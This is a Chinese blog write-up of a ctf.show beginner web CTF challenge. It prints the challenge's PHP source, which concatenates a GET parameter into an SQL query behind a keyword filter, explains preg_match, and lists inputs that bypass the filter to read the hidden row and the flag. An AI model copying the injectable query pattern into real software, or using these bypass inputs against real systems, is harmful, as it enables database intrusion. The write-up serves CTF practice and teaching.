这题比较坑!比上一题多了一个过滤条件,坑就坑在其他过滤条件上都有注解,就它没有!考察细心了哈哈哈。
这道题与萌新Web1非常类似,所以在这我就不过多阐述了,若有不懂可以看我的Web1文章
下面直接附上源代码:
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/or|\+/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
preg_match()函数:
preg_match()
是PHP中用于执行正则表达式匹配的函数。在正则表达式中,斜杠(/)用于包裹正则表达式,表示正则表达式的开始和结束。该函数接受三个参数:
pattern
:用于匹配的正则表达式模式,字符串类型。subject
:要被搜索的字符串,字符串类型。matches
(可选):如果提供了该参数,则会被填充为搜索到的匹配项,数组类型。函数返回值为匹配到的次数,如果没有匹配到,则返回0或false(如果出错的话)。
示例用法:
$string = 'Hello, world!'; if (preg_match('/world/', $string)) { echo 'Match found!'; } else { echo 'Match not found.'; }
上面的代码将会输出
Match found!
,因为字符串中包含了 "world"。
对于此道题的(preg_match("/or|\+/i",$id)过滤条件:
分析:
斜杠(/)包裹起来的正则表达式:"or|\+" —— 其中“|”表示逻辑上的“或”。"\+"表示加号(+)字符(因为加号在正则表达式中是特殊字符,表示匹配前面的字符一个或多个)。所以整个正则表达式的意思是匹配字符串中包含
or
或+
的部分。i:表示忽略大小写。
$id:表示被搜索的字符串。
所以我们id的表达式不能有or和+,并且忽略大小写。但是我们还是仍要让id的值能取得1000
我们可以让id的表达式为:
?id=~~1000 (负负得正)
?id="1e3" (科学计数法)
?id=/**/1000 (注释法) (博主不太懂,有会的可以指导一下博主,感谢~)
?id=-1 || id = 1000 (已测试过id=-1为空)
即可得到flag:
执行的sql为:select * from article where id = -1 || id=1000 order by id limit 1
id: 1000 - title: CTFshowflag
ctfshow{b8de0201-5117-4207-9af0-01a51fd53099}